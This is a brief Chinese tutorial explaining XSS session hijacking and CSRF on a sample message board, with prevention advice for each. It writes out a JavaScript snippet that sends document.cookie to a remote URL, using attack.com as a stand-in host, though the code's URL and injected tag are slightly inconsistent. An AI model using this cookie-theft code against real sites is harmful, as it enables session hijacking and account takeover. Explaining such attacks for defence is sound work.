一、跨站脚本攻击 XSS
场景:获取用户Cookie,用于伪造登录。如java的JSESSIONID。
例子:有个留言板程序http://test.com/add.jsp, list.jsp
(1)恶意用户A留言, 内容<script>http://attack.com/attack.js</script>
http://attack.com/attack.js中将cookie保存到自己服务器。
var c=document.cookie;
var script =document.createElement('script');
script.src='http://test.com/index.php?c='+c; document.body.appendChild(script)
(2)合法用户遭受攻击
当管理员登录后,访问留言板列表页面http://test.com/list.jsp,自动访问了攻击者的attack.js。
管理员cookie被攻击者A获取。
(3)危害
攻击者伪造JSessionID Cookie,登录系统。
(4)防范方法:
这种session劫持主要靠XSS漏洞和客户端获取sessionId完成,一次防范分两步
1. 过滤用户输入,防止XSS漏洞
2. 设置sessionId的cookie为HttpOnly,使客户端无法获取。
二、跨站伪造请求CSRF
场景:骗取用户执行高权限链接,删除、修改数据。
例子:有个留言板程序http://test.com/delete.jsp?id=1,只有管理员有权限,可以删除id为1的留言记录
攻击者想执行删除操作,但他没有权限,以下为攻击步骤:
(1)恶意用户制作一个页面http://attack.com/attack1.jsp
GET方式:
POST方式:
(2)发恶意邮件,诱骗管理员打开http://attack.com/attack1.jsp
(3)管理员不了解的情况下,就执行了删除。以为打开了图片或者空网页
(4)防范方法
1. 使用post,不使用get修改信息
2. 验证码,所有表单的提交需要验证码,但是貌似用起来很麻烦,所以一些关键的操作可以
3. 在表单中预先植入一些加密信息,验证请求是此表单发送